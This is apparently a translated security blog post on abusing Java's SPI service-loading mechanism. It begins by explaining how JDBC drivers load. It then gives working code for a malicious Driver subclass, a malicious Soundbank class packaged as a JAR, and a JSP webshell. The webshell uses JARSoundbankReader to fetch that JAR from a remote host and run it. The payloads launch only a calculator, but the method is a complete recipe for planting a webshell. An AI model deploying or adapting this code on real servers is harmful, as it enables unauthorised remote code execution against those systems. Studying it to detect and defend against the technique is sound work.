Constructing a Webshell Based on the SPI Mechanism

Disclaimer: The user is responsible for any direct or indirect consequences and losses caused by the dissemination and use of the information provided by this public account. The public account and the author bear no responsibility for this. Please bear the consequences yourself! If there is any infringement, please inform us, and we will delete it immediately and apologize. Thank you!

Article Author: Prophet Community (True Love and Freedom)

Source: https://xz.aliyun.com/news/15027

Introduction

Recently, while browsing the blog of Master yzddmr6, I discovered that he also has a GitHub address.

https://github.com/yzddmr6/MyPresentations

In it, I found that Master explained some webshell attack and defense at the Bug Bounty Conference, which I studied. I then discovered a very interesting webshell. I must say that Master yzddmr6 is truly amazing, and I have gained a better understanding of the SPI mechanism.

Since those who are new to webshells may not understand the article, I will also explain some basic knowledge points.

Utilization of the SPI Mechanism

What is the SPI Mechanism?

The SPI mechanism stands for Service Provider Interface, which is a built-in service provider discovery mechanism in JDK.

To put it simply, it loads the classes that implement the specified interface from the configuration files in <span>META-INF/services</span>.

For example, in our JDBC, I will provide an example below, but I won’t go into detail here.

Core Methods and Classes of SPI

The Java SPI (Service Provider Interface) mechanism mainly involves the following core methods and classes:

<span>java.util.ServiceLoader</span>: The ServiceLoader class is the core class of the Java SPI mechanism, used to load and manage service providers. It includes the following commonly used methods:<span>load(Class<s> service)</span>: A static method used to load service providers that implement the specified interface.<span>iterator()</span>: Returns an iterator for traversing the loaded service provider instances.

<span>java.util.Iterator</span>: The Iterator interface is used to traverse elements in a collection. The iterator returned by ServiceLoader implements this interface, with common methods including:<span>hasNext()</span>: Checks if there is a next element.<span>next()</span>: Returns the next element.

<span>java.util.spi</span> package: This package contains some classes related to SPI, such as:<span>AbstractProvider</span>: An abstract class for creating service providers.<span>ResourceBundleControlProvider</span>: Provides a custom ResourceBundle.Control object.

<span>META-INF/services/</span> directory: In the classpath, the <span>META-INF/services/</span> directory usually contains configuration files named after the fully qualified name of the interface, specifying the service provider classes that implement the interface.

SPI in JDBC

First, let’s consider why we need the SPI mechanism in JDBC.

This involves our JDBC operations for connecting to the database.

Connecting to the Database with JDBC

A crucial step is loading the database driver, which completes our connection operation. Typically, we use a statement like <span>Class.forName("com.mysql.cj.jdbc.Driver")</span> to load the driver.

The basic process is as follows:

1. Load the database driver: First, the JDBC driver provided by the database vendor needs to be loaded to communicate with the specific database. This can be done using a statement like <span>Class.forName("com.mysql.cj.jdbc.Driver")</span>.

2. Establish a database connection to obtain a Connection object: Use the <span>DriverManager.getConnection(url, username, password)</span> method to establish a connection to the database. Here, <span>url</span> is the database address, port, and other connection information, while <span>username</span> and <span>password</span> are the credentials needed to log in to the database.

3. Create a Statement object: Create a Statement object using the <span>Connection.createStatement()</span> method, which is used to send SQL statements to the database and execute queries.

4. Execute SQL statements: Use the <span>Statement.executeQuery(sql)</span> method to execute SELECT queries, or use <span>Statement.executeUpdate(sql)</span> to execute INSERT, UPDATE, DELETE, and other update operation statements.

5. Process the result set: If a SELECT query is executed, a <span>ResultSet</span> object will be returned, containing the result set of the query. You can use the <span>ResultSet.next()</span> method to iterate through the result set and retrieve specific field values using <span>ResultSet.getXXX()</span> methods.

Here is an example:

package MYSQL;import javax.xml.transform.Result;import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.Statement;import java.util.Properties;public class JDBC_Connection_example {    public static void main(String[] args) throws Exception{        Properties properties=new Properties();        properties.setProperty("user","root");        properties.setProperty("password","123456");        String URL = "jdbc:mysql://127.0.0.1:3306/security";        DriverManager.registerDriver(new com.mysql.jdbc.Driver());        Connection connection=DriverManager.getConnection(URL,properties);        Statement statement=connection.createStatement();        String sql="select * from users";        ResultSet result=statement.executeQuery(sql);        int columnCount = result.getMetaData().getColumnCount();        // Print query results        while (result.next()) {            for (int i = 1; i <= columnCount; i++) {                // Get column value by index and print                System.out.print(result.getString(i) + "\t");            }            System.out.println();        }        result.close();        statement.close();        connection.close();    }}

Why Does JDBC Need SPI?

  1. Dynamic Driver Loading

Through the SPI mechanism, JDBC drivers can be dynamically loaded at runtime without hardcoding the driver class name in the code. This makes the code more flexible and extensible.

Before the SPI mechanism, developers had to explicitly register the driver:

Class.forName("com.mysql.cj.jdbc.Driver");

With the SPI mechanism, the driver can be automatically loaded by <span>DriverManager</span>:

Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/db", "user", "password");

Improved Plugability

The SPI mechanism allows JDBC drivers to be highly pluggable, enabling users to easily replace or add new database drivers without modifying existing code. This is crucial for applications that support multiple databases.

Simplified Configuration

Applications do not need to explicitly configure and manage JDBC drivers; they only need to ensure that the driver JAR files are in the classpath, and the SPI mechanism will automatically discover and load these drivers. This greatly simplifies the configuration and deployment process of applications.

Support for Multiple Implementations

Through the SPI mechanism, different database vendors can provide their own JDBC driver implementations, while applications can access different databases through a unified JDBC API. This means that application code does not need to depend on specific database implementations, making it more generic and flexible.

Analysis of SPI Mechanism Implementation

The JDBC connection will instantiate<span>DriverManager.registerDriver(new com.mysql.jdbc.Driver());</span>

Then we see the static code of this class:

static {        try {            DriverManager.registerDriver(new Driver());        } catch (SQLException var1) {            throw new RuntimeException("Can't register driver!");        }    }

This will call the <span>DriverManager</span> class’s <span>registerDriver</span> method, causing the JVM to load the <span>DriverManager</span> class, during which the static code block of <span>DriverManager</span> is executed.

We see its code calls <span>loadInitialDrivers();</span> to load the initial drivers.

Constructing a Webshell Based on the SPI MechanismInternally calls <span>doPrivileged</span>, which will instantiate the core class of the SPI mechanism and then call <span>load</span> to implement the SPI mechanism.Constructing a Webshell Based on the SPI MechanismObtaining the current class loader to load.Constructing a Webshell Based on the SPI MechanismFinally, it will reach <span>hasNextService</span> to load.Constructing a Webshell Based on the SPI Mechanism

Malicious Utilization of SPI Mechanism

Simple Example

So, does this mean that we only need to have our malicious class in the configuration file and implement our Driver interface to exploit it maliciously?

Create a malicious class:

package MYSQL;import com.mysql.jdbc.Driver;import java.io.IOException;import java.sql.SQLException;public class calc extends Driver {    static {        Runtime runtime=Runtime.getRuntime();        try {            runtime.exec("calc");        } catch (IOException e) {            throw new RuntimeException(e);        }    }    public calc() throws SQLException {    }}

Write in the configuration file:Constructing a Webshell Based on the SPI Mechanism

Run our JDBC connection:

And find that the calculator pops up.

Exploitation of JARSoundbankReader Class Webshell

Method Analysis

We follow its <span>getSoundbank</span> method:

public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {    if (!isZIP(var1)) {        return null;    } else {        ArrayList var2 = new ArrayList();        URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});        InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");        if (var4 == null) {            return null;        } else {            try {                BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));                for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {                    if (!var6.startsWith("#")) {                        try {                            Class var7 = Class.forName(var6.trim(), false, var3);                            if (Soundbank.class.isAssignableFrom(var7)) {                                Object var8 = ReflectUtil.newInstance(var7);                                var2.add((Soundbank)var8);                            }                        } catch (ClassNotFoundException var14) {                        } catch (InstantiationException var15) {                        } catch (IllegalAccessException var16) {                        }                    }                }            } finally {                var4.close();            }            if (var2.size() == 0) {                return null;            } else if (var2.size() == 1) {                return (Soundbank)var2.get(0);            } else {                SimpleSoundbank var18 = new SimpleSoundbank();                Iterator var19 = var2.iterator();                while(var19.hasNext()) {                    Soundbank var20 = (Soundbank)var19.next();                    var18.addAllInstruments(var20);                }                return var18;            }        }    }}

First, it checks if it is a ZIP file, then creates a <span>URLClassLoader</span> to load resources from the ZIP file and attempts to obtain the input stream of the <span>META-INF/services/javax.sound.midi.Soundbank</span> file.

It reads the contents of the configuration file through the input stream, parsing each class name line by line. In fact, the malicious construction only requires one class.

  • Use <span>Class.forName</span> to dynamically load the class.
  • Check if the class implements the <span>Soundbank</span> interface.

Therefore, the malicious class we construct needs to implement the Soundbank interface.

Now let’s construct the malicious class:

Based on the principles of the above SPI malicious utilization, we can create a malicious JAR package in a similar way.

Creating the JAR Package

The directory structure is as follows:

Constructing a Webshell Based on the SPI Mechanism

Then, since we are loading classes from <span>javax.sound.midi.Soundbank</span>, we write in this file:

Write the package name of your malicious class:

nn0nkey.Evil

Constructing the malicious class:

The malicious class needs to implement the Soundbank interface, so it needs to override its methods.

Then inject malicious code into it.

The POC is as follows:

package nn0nkey;import javax.sound.midi.Instrument;import javax.sound.midi.Patch;import javax.sound.midi.Soundbank;import javax.sound.midi.SoundbankResource;import java.io.IOException;public class Evil implements Soundbank {    public Evil(){        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            e.printStackTrace();        }    }    @Override    public String getName() {        return null;    }    @Override    public String getVersion() {        return null;    }    @Override    public String getVendor() {        return null;    }    @Override    public String getDescription() {        return null;    }    @Override    public SoundbankResource[] getResources() {        return new SoundbankResource[0];    }    @Override    public Instrument[] getInstruments() {        return new Instrument[0];    }    @Override    public Instrument getInstrument(Patch patch) {        return null;    }}

Then run the command to construct the JAR package:

```bashjavac src/nn0nkey/Evil.javajar -cvf Evil.jar -C src/ .```

Local Testing

Then place our JAR package on the server and access it:

import com.sun.media.sound.JARSoundbankReader;import java.net.URL;public class text {    public static void main(String[] args) throws Exception {        JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();        URL url=new URL("http://ip/Evil.jar");        jarSoundbankReader.getSoundbank(url);    }}

Running it pops up the calculator.Constructing a Webshell Based on the SPI Mechanism

Constructing a Webshell

<%@ page import="com.sun.media.sound.JARSoundbankReader" %><%@ page import="java.net.URL" %><%    JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();    URL url=new URL("http://ip/Evil.jar");    jarSoundbankReader.getSoundbank(url);%>

Recommended Reading

Constructing a Webshell Based on the SPI MechanismConstructing a Webshell Based on the SPI MechanismConstructing a Webshell Based on the SPI Mechanism

Constructing a Webshell Based on the SPI Mechanism

Horizontal Movement via RDP & Desktop Session Hijacking

Leave a Comment